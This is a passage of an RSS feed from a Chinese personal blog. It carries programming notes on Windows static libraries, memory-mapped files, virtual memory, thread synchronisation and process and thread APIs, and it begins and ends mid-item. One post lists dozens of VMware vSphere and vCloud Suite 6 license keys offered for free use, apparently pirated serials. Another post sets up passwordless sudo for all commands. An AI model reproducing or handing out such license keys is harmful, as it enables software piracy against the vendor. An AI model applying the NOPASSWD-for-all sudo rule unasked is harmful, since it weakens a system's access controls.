&lt;pre&gt;&lt;code&gt; 利用之前学习过的内存知识，例如映射类型的内存块
 将这些公共代码放在文件中没在进程运行的时候在加载该文件
 并且在内存中只需要加载一边，不同进程使用同一份公共代码时，只需要将之前加载过的这个文件映射到自己内存中即可
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-22-15269970326667.jpg" alt="" title=""&gt;&lt;/p&gt;</description></item><item><title>静态链接库</title><link>https://luodaoyi.com/posts/%E9%9D%99%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93-%E9%9D%99%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93/</link><pubDate>Tue, 22 May 2018 21:49:41 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E9%9D%99%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93-%E9%9D%99%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93/</guid><description>&lt;h1 id="静态链接库"&gt;静态链接库&lt;/h1&gt;
&lt;h2 id="如何创建静态链接库"&gt;如何创建静态链接库&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;vs新建项目，选择静态链接库&lt;/li&gt;
&lt;li&gt;在项目文件中新建 .cpp 文件与.h 文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;项目编译生成后会产生一个 .lib文件&lt;/p&gt;
&lt;h2 id="如何使用静态链接库"&gt;如何使用静态链接库&lt;/h2&gt;
&lt;p&gt;将生成的.h与.lib文件复制到项目根目录&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;直接添加.lib与.h到项目中&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在项目代码中添加头文件引用&lt;/p&gt;
&lt;p&gt;#include &amp;quot;xxx.h&amp;quot;
#pragma comment(lib,&amp;quot;xxx.lib&amp;quot;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="静态链接库的生成"&gt;静态链接库的生成&lt;/h2&gt;
&lt;p&gt;lib的生成和我们的exe是一样的，也是要经过预处理编译会变的过程，最终生成的lib 就是多个.o(obj)文件的集合体&lt;/p&gt;</description></item><item><title>以文件为后背存储区的内存交换文件</title><link>https://luodaoyi.com/posts/%E4%BB%A5%E6%96%87%E4%BB%B6%E4%B8%BA%E5%90%8E%E8%83%8C%E5%AD%98%E5%82%A8%E5%8C%BA%E7%9A%84%E5%86%85%E5%AD%98%E4%BA%A4%E6%8D%A2%E6%96%87%E4%BB%B6-%E4%BB%A5%E6%96%87%E4%BB%B6%E4%B8%BA%E5%90%8E%E8%83%8C%E5%AD%98%E5%82%A8%E5%8C%BA%E7%9A%84%E5%86%85%E5%AD%98%E4%BA%A4%E6%8D%A2%E6%96%87%E4%BB%B6/</link><pubDate>Fri, 04 May 2018 10:35:24 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BB%A5%E6%96%87%E4%BB%B6%E4%B8%BA%E5%90%8E%E8%83%8C%E5%AD%98%E5%82%A8%E5%8C%BA%E7%9A%84%E5%86%85%E5%AD%98%E4%BA%A4%E6%8D%A2%E6%96%87%E4%BB%B6-%E4%BB%A5%E6%96%87%E4%BB%B6%E4%B8%BA%E5%90%8E%E8%83%8C%E5%AD%98%E5%82%A8%E5%8C%BA%E7%9A%84%E5%86%85%E5%AD%98%E4%BA%A4%E6%8D%A2%E6%96%87%E4%BB%B6/</guid><description>&lt;h1 id="以文件为后背存储区的内存交换文件"&gt;以文件为后背存储区的内存交换文件&lt;/h1&gt;
&lt;h2 id="各种后备存储器的内存映射文件"&gt;各种后备存储器的内存映射文件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;以&lt;code&gt;磁盘中文件系统的具体文件&lt;/code&gt;为后备存储的页交换文件(文件映射)&lt;/li&gt;
&lt;li&gt;以&lt;code&gt;页交换文件(&amp;quot;虚拟内存&amp;quot;)&lt;/code&gt;为后备存储器的页交换文件(共享内存)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="页交换文件虚拟内存"&gt;页交换文件(虚拟内存)&lt;/h2&gt;
&lt;p&gt;通过&lt;code&gt;CreateFileMapping&lt;/code&gt; api 创建文件映射内核对象，在内存中申请空间(物理内存和虚拟内存)&lt;br&gt;
通过&lt;code&gt;MapViewOfFile&lt;/code&gt; 在响应的进程虚拟内存空间中预定对应空间，并且把上一步的内存映射到进程虚拟空间中。&lt;br&gt;
这样就实现了共享内存&lt;/p&gt;</description></item><item><title>页交换文件与内存映射文件</title><link>https://luodaoyi.com/posts/%E9%A1%B5%E4%BA%A4%E6%8D%A2%E6%96%87%E4%BB%B6%E4%B8%8E%E5%86%85%E5%AD%98%E6%98%A0%E5%B0%84%E6%96%87%E4%BB%B6-%E9%A1%B5%E4%BA%A4%E6%8D%A2%E6%96%87%E4%BB%B6%E4%B8%8E%E5%86%85%E5%AD%98%E6%98%A0%E5%B0%84%E6%96%87%E4%BB%B6/</link><pubDate>Thu, 03 May 2018 23:58:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E9%A1%B5%E4%BA%A4%E6%8D%A2%E6%96%87%E4%BB%B6%E4%B8%8E%E5%86%85%E5%AD%98%E6%98%A0%E5%B0%84%E6%96%87%E4%BB%B6-%E9%A1%B5%E4%BA%A4%E6%8D%A2%E6%96%87%E4%BB%B6%E4%B8%8E%E5%86%85%E5%AD%98%E6%98%A0%E5%B0%84%E6%96%87%E4%BB%B6/</guid><description>&lt;h1 id="页交换文件与内存映射文件"&gt;页交换文件与内存映射文件&lt;/h1&gt;
&lt;h2 id="内存的几种状态和类型"&gt;内存的几种状态和类型&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-03-15253598061633.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;私有类型：&lt;/p&gt;
&lt;p&gt;使用VitualAlloc申请分配/调拨内存后，申请的内存只能被当前进程使用。其他进程无法访问。这就是所谓的私有内存&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-05-03-15253598925948.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;映射类型 -&amp;gt; 页交换文件(虚拟内存)&lt;/p&gt;
&lt;p&gt;页交换文件补充了我们的物理内存的不足。在内存中长时间不活跃的数据，系统会将内存写入页交换文件。用以节省内存，所以页交换文件也是计算机内存的一部分&lt;/p&gt;</description></item><item><title>物理内存和虚拟内存的关系</title><link>https://luodaoyi.com/posts/%E7%89%A9%E7%90%86%E5%86%85%E5%AD%98%E5%92%8C%E8%99%9A%E6%8B%9F%E5%86%85%E5%AD%98%E7%9A%84%E5%85%B3%E7%B3%BB-%E7%89%A9%E7%90%86%E5%86%85%E5%AD%98%E5%92%8C%E8%99%9A%E6%8B%9F%E5%86%85%E5%AD%98%E7%9A%84%E5%85%B3%E7%B3%BB/</link><pubDate>Mon, 23 Apr 2018 22:48:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%89%A9%E7%90%86%E5%86%85%E5%AD%98%E5%92%8C%E8%99%9A%E6%8B%9F%E5%86%85%E5%AD%98%E7%9A%84%E5%85%B3%E7%B3%BB-%E7%89%A9%E7%90%86%E5%86%85%E5%AD%98%E5%92%8C%E8%99%9A%E6%8B%9F%E5%86%85%E5%AD%98%E7%9A%84%E5%85%B3%E7%B3%BB/</guid><description>&lt;h1 id="物理内存和虚拟内存的关系"&gt;物理内存和虚拟内存的关系&lt;/h1&gt;
&lt;p&gt;进程容器中4GB空间的内容分布&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-04-23-15244387394019.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;在所谓的4GB空间内，系统内核占据了高2GB的空间，普通进程看不见摸不着，而且高2GB的空间是全局共享。全局就那么一份，各个进程间共享&lt;/p&gt;
&lt;p&gt;观察进程内存分布，我们发现进程中真正使用的内存远远不到2gb，而且地址不是连续的。说明操作系统并不是一次性吧内存都给予进程&lt;/p&gt;</description></item><item><title>事件和线程同步</title><link>https://luodaoyi.com/posts/%E4%BA%8B%E4%BB%B6%E5%92%8C%E7%BA%BF%E7%A8%8B%E5%90%8C%E6%AD%A5-%E4%BA%8B%E4%BB%B6%E5%92%8C%E7%BA%BF%E7%A8%8B%E5%90%8C%E6%AD%A5/</link><pubDate>Thu, 19 Apr 2018 00:53:40 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BA%8B%E4%BB%B6%E5%92%8C%E7%BA%BF%E7%A8%8B%E5%90%8C%E6%AD%A5-%E4%BA%8B%E4%BB%B6%E5%92%8C%E7%BA%BF%E7%A8%8B%E5%90%8C%E6%AD%A5/</guid><description>&lt;h1 id="事件和线程同步"&gt;事件和线程同步&lt;/h1&gt;
&lt;h2 id="函数"&gt;函数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//创建一个时间对象
HANDLE CreateEvent(
 LPSECURITY_ATTRIBUTES lpEventAttributes, // SD 安全属性
 BOOL bManualReset, // reset type 0自动复位(互斥)、1手动复位(通知模式)
 BOOL bInitialState, // initial state 初始创建时时间是否具备信号
 LPCTSTR lpName // object name 对象的名称
);
//将目标事件对象设置为有信号的（同时通知其他线程）
BOOL SetEvent(
 HANDLE hEvent // handle to event //目标事件的句柄
);
//将目标事件对象设置为无信号的
BOOL ResetEvent(
 HANDLE hEvent // handle to event 目标事件的句柄
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="通知模式"&gt;通知模式&lt;/h2&gt;
&lt;p&gt;回顾互斥模式&lt;/p&gt;</description></item><item><title>ubuntu sudo 免密码</title><link>https://luodaoyi.com/posts/ubuntu-sudo-%E5%85%8D%E5%AF%86%E7%A0%81-ubuntusudo%E5%85%8D%E5%AF%86%E7%A0%81/</link><pubDate>Wed, 18 Apr 2018 14:03:22 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu-sudo-%E5%85%8D%E5%AF%86%E7%A0%81-ubuntusudo%E5%85%8D%E5%AF%86%E7%A0%81/</guid><description>&lt;h1 id="ubuntu-sudo-免密码"&gt;ubuntu sudo 免密码&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;cd /etc/sudoers.d
sudo touch nopasswd4sudo
sudo vi nopasswd4sudo
//输入
ubuntu ALL=(ALL) NOPASSWD : ALL
ESC :wq!
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>临界区、线程锁和互斥体</title><link>https://luodaoyi.com/posts/%E4%B8%B4%E7%95%8C%E5%8C%BA%E7%BA%BF%E7%A8%8B%E9%94%81%E5%92%8C%E4%BA%92%E6%96%A5%E4%BD%93-%E4%B8%B4%E7%95%8C%E5%8C%BA%E7%BA%BF%E7%A8%8B%E9%94%81%E5%92%8C%E4%BA%92%E6%96%A5%E4%BD%93/</link><pubDate>Wed, 18 Apr 2018 03:05:41 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%B8%B4%E7%95%8C%E5%8C%BA%E7%BA%BF%E7%A8%8B%E9%94%81%E5%92%8C%E4%BA%92%E6%96%A5%E4%BD%93-%E4%B8%B4%E7%95%8C%E5%8C%BA%E7%BA%BF%E7%A8%8B%E9%94%81%E5%92%8C%E4%BA%92%E6%96%A5%E4%BD%93/</guid><description>&lt;h1 id="临界区线程锁和互斥体"&gt;临界区、线程锁和互斥体&lt;/h1&gt;
&lt;h2 id="不可重入函数"&gt;不可重入函数&lt;/h2&gt;
&lt;p&gt;不可重入函数: 当这个函数返回前，不可以被其他线程调用&lt;/p&gt;
&lt;p&gt;原因：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf : 访问了引用全局变量stdout
malloc : 引用了全局内存分配表
free : 引用的全局内存分配表
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;类似的 假如我在我的线程中使用全局变量会不会出现类似问题？&lt;/p&gt;
&lt;p&gt;坑：&lt;/p&gt;
&lt;p&gt;当多线程同时去访问所谓不可重入函数的时候，当A线程调用printf执行完毕之前，发生了线程切换去执行B线程，而B线程如果又再等待A线程的时候，那么就会有几率触发bug，永久等待。。。。&lt;/p&gt;</description></item><item><title>vmware 6 虚拟化 全系列 序列号</title><link>https://luodaoyi.com/posts/vmware-6-%E8%99%9A%E6%8B%9F%E5%8C%96-%E5%85%A8%E7%B3%BB%E5%88%97-%E5%BA%8F%E5%88%97%E5%8F%B7-vmware6%E8%99%9A%E6%8B%9F%E5%8C%96%E5%85%A8%E7%B3%BB%E5%88%97%E5%BA%8F%E5%88%97%E5%8F%B7/</link><pubDate>Mon, 16 Apr 2018 21:40:27 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/vmware-6-%E8%99%9A%E6%8B%9F%E5%8C%96-%E5%85%A8%E7%B3%BB%E5%88%97-%E5%BA%8F%E5%88%97%E5%8F%B7-vmware6%E8%99%9A%E6%8B%9F%E5%8C%96%E5%85%A8%E7%B3%BB%E5%88%97%E5%BA%8F%E5%88%97%E5%8F%B7/</guid><description>&lt;h1 id="vmware-6-虚拟化-全系列-序列号"&gt;vmware 6 虚拟化 全系列 序列号&lt;/h1&gt;
&lt;h2 id="vsphere-6-hypervisor"&gt;vSphere 6 Hypervisor&lt;/h2&gt;
&lt;p&gt;HY0XH-D508H-081U8-JA2GH-CCUM2&lt;/p&gt;
&lt;p&gt;4C4WK-8KH8L-H85J0-UHCNK-8CKQ8&lt;/p&gt;
&lt;p&gt;NV09R-2W007-08D38-CA956-33U28&lt;/p&gt;
&lt;p&gt;JU400-6EK4L-080V9-QT8EP-2KAQ2&lt;/p&gt;
&lt;h2 id="vsphere-6-hypervisor-for-embedded-oems"&gt;vSphere 6 Hypervisor for Embedded OEMs&lt;/h2&gt;
&lt;p&gt;NC6HH-26J4N-48098-Y0AX0-1GA66&lt;/p&gt;
&lt;p&gt;HY0J0-6L28H-081W8-4TCN0-32RP0&lt;/p&gt;
&lt;p&gt;0V012-002DJ-480T1-UHAE0-9GULF&lt;/p&gt;
&lt;p&gt;4G6WR-A0K4M-08420-J8CN6-8A2QA&lt;/p&gt;
&lt;h2 id="vsphere-6-desktop-host"&gt;vSphere 6 Desktop Host&lt;/h2&gt;
&lt;p&gt;MF00U-65K53-H8DF9-Q20ZH-26R40&lt;/p&gt;
&lt;p&gt;JV6D2-6YLDN-088C0-Q92N2-8Z00A&lt;/p&gt;
&lt;p&gt;HG49R-2234J-08EJ8-WC9E2-87H2D&lt;/p&gt;
&lt;p&gt;NV6TR-D4HD1-M84L1-P19QM-0PK3D&lt;/p&gt;
&lt;h2 id="vsphere-6-for-vcloud-service-provider-standard"&gt;vSphere 6 for vCloud Service Provider Standard&lt;/h2&gt;
&lt;p&gt;JG2JK-DM01L-M8101-J8AZH-3LUH2&lt;/p&gt;
&lt;p&gt;JZ41H-0X153-H8579-A32ZK-16H20&lt;/p&gt;
&lt;p&gt;4A0HU-DU084-H8990-C9376-16KHF&lt;/p&gt;
&lt;p&gt;1V0EA-FNK51-H85K8-H1AN6-2U8PD&lt;/p&gt;
&lt;h2 id="vcloud-suite-6-standard"&gt;vCloud Suite 6 Standard&lt;/h2&gt;
&lt;p&gt;HV0N8-AC382-H8ET1-631X6-23K10&lt;/p&gt;
&lt;p&gt;HU4EA-A52E2-H89V9-T295K-0V8Q4&lt;/p&gt;
&lt;p&gt;NZ4XH-2VK43-H8D30-6L974-97800&lt;/p&gt;
&lt;p&gt;NU2DH-DW145-H81Y8-KL0QP-9GAQD&lt;/p&gt;
&lt;h2 id="vcloud-suite-6-advanced"&gt;vCloud Suite 6 Advanced&lt;/h2&gt;
&lt;p&gt;MU2HU-DEHEQ-M85U0-N3356-07A5D&lt;/p&gt;
&lt;p&gt;HC0R0-AZJE3-08EF1-T99E6-86R32&lt;/p&gt;
&lt;p&gt;HG0JK-F4J1M-08E49-L91Q2-8K832&lt;/p&gt;
&lt;p&gt;5U40R-D615H-M8EZ8-D82ZP-12848&lt;/p&gt;
&lt;h2 id="vcloud-suite-6-enterprise"&gt;vCloud Suite 6 Enterprise&lt;/h2&gt;
&lt;p&gt;JY04H-DFJ01-M8869-428EM-96R60&lt;/p&gt;
&lt;p&gt;5Y04R-AYKE3-H8DR8-NK0EM-1UAL2&lt;/p&gt;
&lt;p&gt;NC682-0GJ4P-08EM1-32ANM-0AU6F&lt;/p&gt;
&lt;p&gt;NZ2JR-6U286-H81N0-8V3Z6-1FHH2&lt;/p&gt;
&lt;h2 id="vsphere-with-operations-management-6-standard"&gt;vSphere with Operations Management 6 Standard&lt;/h2&gt;
&lt;p&gt;HZ4J8-AWJ4Q-M8560-YT3Q6-0F052&lt;/p&gt;
&lt;p&gt;JU24R-67H53-H8DF1-4L17K-8U208&lt;/p&gt;
&lt;p&gt;MY6DK-0K1D2-M80T0-UR1Z4-8CK42&lt;/p&gt;
&lt;p&gt;JU4E2-2W085-M8D78-M0AZM-AARKF&lt;/p&gt;
&lt;h2 id="vsphere-with-operations-management-6-enterprise"&gt;vSphere with Operations Management 6 Enterprise&lt;/h2&gt;
&lt;p&gt;JA60R-2JK84-M8DQ1-4L9N0-8VRP2&lt;/p&gt;
&lt;p&gt;MG4T2-FY29P-480F9-9H0X0-16K1D&lt;/p&gt;
&lt;p&gt;1U65R-2Y24N-M8DR1-U2C50-16HQ8&lt;/p&gt;
&lt;p&gt;1V2HU-26KD1-08D60-LH9GK-CPU6F&lt;/p&gt;
&lt;h2 id="vsphere-6-foundation"&gt;vSphere 6 Foundation&lt;/h2&gt;
&lt;p&gt;JA6R2-DELEK-H8EP8-83AXP-07RQ8&lt;/p&gt;
&lt;p&gt;0G6EA-07J5M-M8991-TJ0Z6-2U87D&lt;/p&gt;
&lt;p&gt;NU61R-ADKD2-488M9-CV8NH-A6K30&lt;/p&gt;
&lt;p&gt;0Y050-A3L42-084C9-6LCGP-3AR3D&lt;/p&gt;
&lt;h2 id="vsphere-6-foundation-for-embedded-oems"&gt;vSphere 6 Foundation for Embedded OEMs&lt;/h2&gt;
&lt;p&gt;HA2JK-42HD4-H80C0-79CZ0-1L012&lt;/p&gt;
&lt;p&gt;JY2E2-6W11L-H81K0-0A274-3ZU36&lt;/p&gt;
&lt;p&gt;4G6HU-FF05N-085L1-R0ANM-C705F&lt;/p&gt;
&lt;p&gt;4Y2TA-2R08P-H80H9-N317H-1ZK16&lt;/p&gt;
&lt;h2 id="vsphere-6-embedded-essentials"&gt;vSphere 6 Embedded Essentials&lt;/h2&gt;
&lt;p&gt;NY6M2-D5H8L-489D0-280Z0-2Q004&lt;/p&gt;
&lt;p&gt;HA080-FP203-M8830-XH9QM-3PU2D&lt;/p&gt;
&lt;p&gt;JF0NH-AGJ0P-H8EW0-2U85H-AU0QA&lt;/p&gt;
&lt;p&gt;HU09A-6F04H-08E90-G28Z6-1A808&lt;/p&gt;
&lt;h2 id="vsphere-6-embedded-foundation"&gt;vSphere 6 Embedded Foundation&lt;/h2&gt;
&lt;p&gt;1A6H8-DT2D3-H8DR8-5L9EK-2AH18&lt;/p&gt;</description></item><item><title>线程的创建和控制</title><link>https://luodaoyi.com/posts/%E7%BA%BF%E7%A8%8B%E7%9A%84%E5%88%9B%E5%BB%BA%E5%92%8C%E6%8E%A7%E5%88%B6-%E7%BA%BF%E7%A8%8B%E7%9A%84%E5%88%9B%E5%BB%BA%E5%92%8C%E6%8E%A7%E5%88%B6/</link><pubDate>Thu, 12 Apr 2018 02:56:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%BA%BF%E7%A8%8B%E7%9A%84%E5%88%9B%E5%BB%BA%E5%92%8C%E6%8E%A7%E5%88%B6-%E7%BA%BF%E7%A8%8B%E7%9A%84%E5%88%9B%E5%BB%BA%E5%92%8C%E6%8E%A7%E5%88%B6/</guid><description>&lt;h1 id="线程的创建和控制"&gt;线程的创建和控制&lt;/h1&gt;
&lt;p&gt;进程和线程的关系：进程提供资源，线程使用资源完成工作&lt;/p&gt;
&lt;h2 id="创建线程函数"&gt;创建线程函数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HANDLE CreateThread(
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD /安全属性
 DWORD dwStackSize, // initial stack size //线程栈大小-
 LPTHREAD_START_ROUTINE lpStartAddress, // thread function //线程代码
 LPVOID lpParameter, // thread argument //线程参数
 DWORD dwCreationFlags, // creation option //创建标识
 LPDWORD lpThreadId // thread identifier //线程id
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="线程的控制"&gt;线程的控制&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//线程等待
//等待一个
DWORD WaitForSingleObject(
 HANDLE hHandle, // handle to object，监视对象的句柄
 DWORD dwMilliseconds // time-out interval 指定超时等待时间 毫秒为单位
);
//等待多个
DWORD WaitForMultipleObjects(
 DWORD nCount, // number of handles in array,句柄数量
 CONST HANDLE *lpHandles, // object-handle array 句柄数组
 BOOL fWaitAll, // wait option 是否全等待/TRUE 全部结束才返回/False 一个结束就返回
 DWORD dwMilliseconds // time-out interval，超时时间
);
//获取线程的退出代码
BOOL GetExitCodeThread(
 HANDLE hThread, // handle to the thread
 LPDWORD lpExitCode // termination status
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="更多的api"&gt;更多的API&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HANDLE CreateThread(
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD /安全属性
 DWORD dwStackSize, // initial stack size //线程栈大小-
 LPTHREAD_START_ROUTINE lpStartAddress, // thread function //线程代码
 LPVOID lpParameter, // thread argument //线程参数
 DWORD dwCreationFlags, // creation option //创建标识
 LPDWORD lpThreadId // thread identifier //线程id
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建标志位：&lt;br&gt;
指定一个标志来控制线程的创建，如果指定了 &lt;code&gt;CREATE_SUSPENDED&lt;/code&gt; 标志，则线程是在一个&lt;code&gt;挂起状态&lt;/code&gt;下创建的，并且在调用了&lt;code&gt;ResumeThread ()&lt;/code&gt;函数之前不会运行，如果这个值为零，那么线程在创建之后立即运行&lt;/p&gt;</description></item><item><title>句柄表和继承</title><link>https://luodaoyi.com/posts/%E5%8F%A5%E6%9F%84%E8%A1%A8%E5%92%8C%E7%BB%A7%E6%89%BF-%E5%8F%A5%E6%9F%84%E8%A1%A8%E5%92%8C%E7%BB%A7%E6%89%BF/</link><pubDate>Tue, 10 Apr 2018 00:37:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%8F%A5%E6%9F%84%E8%A1%A8%E5%92%8C%E7%BB%A7%E6%89%BF-%E5%8F%A5%E6%9F%84%E8%A1%A8%E5%92%8C%E7%BB%A7%E6%89%BF/</guid><description>&lt;h1 id="句柄表和继承"&gt;句柄表和继承&lt;/h1&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-04-10-15232861126162.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;句柄代表着备操作的对象&lt;/p&gt;
&lt;h2 id="句柄的本质handler"&gt;句柄的本质(handler)&lt;/h2&gt;
&lt;p&gt;句柄表可以看做一个非常大的结构体数组&lt;br&gt;
句柄表的结构&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-04-10-15232864638289.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;索引值： 进程通过索引找到句柄表中对应的选项&lt;br&gt;
内核对象地址： 通过地址直接找到对应的内核对象&lt;br&gt;
访问掩码： 控制了访问权限&lt;br&gt;
标志位： 标志改句柄能否被继承&lt;/p&gt;
&lt;p&gt;句柄表是如何工作的：&lt;/p&gt;
&lt;p&gt;每个进程的内核对象，都有一个句柄与之对应&lt;br&gt;
操作对应进程，需要获得进程句柄。通过系统api操作&lt;/p&gt;</description></item><item><title>ListView控件</title><link>https://luodaoyi.com/posts/listview%E6%8E%A7%E4%BB%B6-listview%E6%8E%A7%E4%BB%B6/</link><pubDate>Mon, 09 Apr 2018 01:06:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/listview%E6%8E%A7%E4%BB%B6-listview%E6%8E%A7%E4%BB%B6/</guid><description>&lt;h1 id="listview控件-实现简单进程管理"&gt;ListView控件 实现简单进程管理&lt;/h1&gt;
&lt;h2 id="用到的相关api函数"&gt;用到的相关api函数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//获取控件句柄
HWND GetDlgItem(
 HWND hDlg,//获得控件所处的窗口的句柄
 int nIDDlgItem //控件id
);
//初始化列表的列 （listview插入新的一列
int ListView_InsertColumn(
 HWNDhwnd, //控件的句柄
 int iCol, //第几列 (索引 index
 const LPLVCOLUMNpcol //结构体指针 （包含新列的结构体
);
//插入新的一行条目
int ListView_InsertItem(
 HWND hwnd,
 const LPLVITEM pitem
);
//设置条目的属性
BOOL ListView_SetItem(
 HWND hwnd,
 const LPLVITEM pitem
);
//删除所有项目
BOOL ListView_DeleteAllItems(
 HWND hwnd
);
//标准输出格式化字符串
swprintf(buffer,L&amp;quot;%s,哈哈&amp;quot;,param);
//清空
ZeroMemory(buffer);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;list属性：&lt;/p&gt;</description></item><item><title>进程的遍历、获取与销毁</title><link>https://luodaoyi.com/posts/%E8%BF%9B%E7%A8%8B%E7%9A%84%E9%81%8D%E5%8E%86%E8%8E%B7%E5%8F%96%E4%B8%8E%E9%94%80%E6%AF%81-%E8%BF%9B%E7%A8%8B%E7%9A%84%E9%81%8D%E5%8E%86%E8%8E%B7%E5%8F%96%E4%B8%8E%E9%94%80%E6%AF%81/</link><pubDate>Sun, 08 Apr 2018 02:05:02 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%BF%9B%E7%A8%8B%E7%9A%84%E9%81%8D%E5%8E%86%E8%8E%B7%E5%8F%96%E4%B8%8E%E9%94%80%E6%AF%81-%E8%BF%9B%E7%A8%8B%E7%9A%84%E9%81%8D%E5%8E%86%E8%8E%B7%E5%8F%96%E4%B8%8E%E9%94%80%E6%AF%81/</guid><description>&lt;h1 id="进程的遍历获取与销毁"&gt;进程的遍历、获取与销毁&lt;/h1&gt;
&lt;h2 id="创建快照遍历"&gt;创建快照遍历&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//获得进程所使用的堆，模块和线程的信息快照
HANDLE WINAPI CreateToolhelp32Snapshot
(
 DWORD dwFlags,//标志位
 DWORD th32ProcessID //进程ID
)
//dwFlags: 指定的快照中，指定需要拍的系统部分
TH32CS_INHERIT  声明快照句柄是可继承的。
TH32CS_SNAPALL     在快照中包含系统中所有的 进程和线程。
TH32CS_SNAPHEAPLIST 在快照中包含ID所指定的进程的所有的堆。
TH32CS_SNAPMODULE  在快照中包含在ID所指定的进程的所有的模块。
TH32CS_SNAPPROCESS 在快照中包含系统中所有的进程。
TH32CS_SNAPTHREAD  在快照中包含系统中所有的线程。
BOOL WINAPI Process32First(
    HANDLE   hSnapshot,     //快照句柄  
    LPPROCESSENTRY32 lppe    //获得的信息
);获得快照中的第一个成员的信息
BOOL WINAPI Process32Next(
    HANDLE   hSnapshot,       //快照句柄
    LPPROCESSENTRY32 lppe    //获得的信息
);获得快照中后一个成员的信息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;函数实现&lt;/p&gt;</description></item><item><title>进程的创建</title><link>https://luodaoyi.com/posts/%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%88%9B%E5%BB%BA-%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%88%9B%E5%BB%BA/</link><pubDate>Sat, 07 Apr 2018 10:09:51 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%88%9B%E5%BB%BA-%E8%BF%9B%E7%A8%8B%E7%9A%84%E5%88%9B%E5%BB%BA/</guid><description>&lt;h1 id="进程的创建"&gt;进程的创建&lt;/h1&gt;
&lt;h2 id="进程的启动过程"&gt;进程的启动过程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;打开目标exe的映象文件&lt;/li&gt;
&lt;li&gt;创建进程内核对象&lt;/li&gt;
&lt;li&gt;映射NTDLL到内存&lt;/li&gt;
&lt;li&gt;创建线程内核对象&lt;/li&gt;
&lt;li&gt;通知子系统对进程进行管理&lt;/li&gt;
&lt;li&gt;启动线程初始化空间和加载其他DLL&lt;/li&gt;
&lt;li&gt;跳转到入口处开始执行&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="createprocess-api"&gt;CreateProcess api&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;BOOL CreateProcess(
 LPCTSTR lpApplicationName, // name of executable module
 LPTSTR lpCommandLine, // command line string
 LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
 BOOL bInheritHandles, // handle inheritance option
 DWORD dwCreationFlags, // creation flags
 LPVOID lpEnvironment, // new environment block
 LPCTSTR lpCurrentDirectory, // current directory name
 LPSTARTUPINFO lpStartupInfo, // startup information
 LPPROCESS_INFORMATION lpProcessInformation // process information
);
//中文版注释
BOOL CreateProcess(
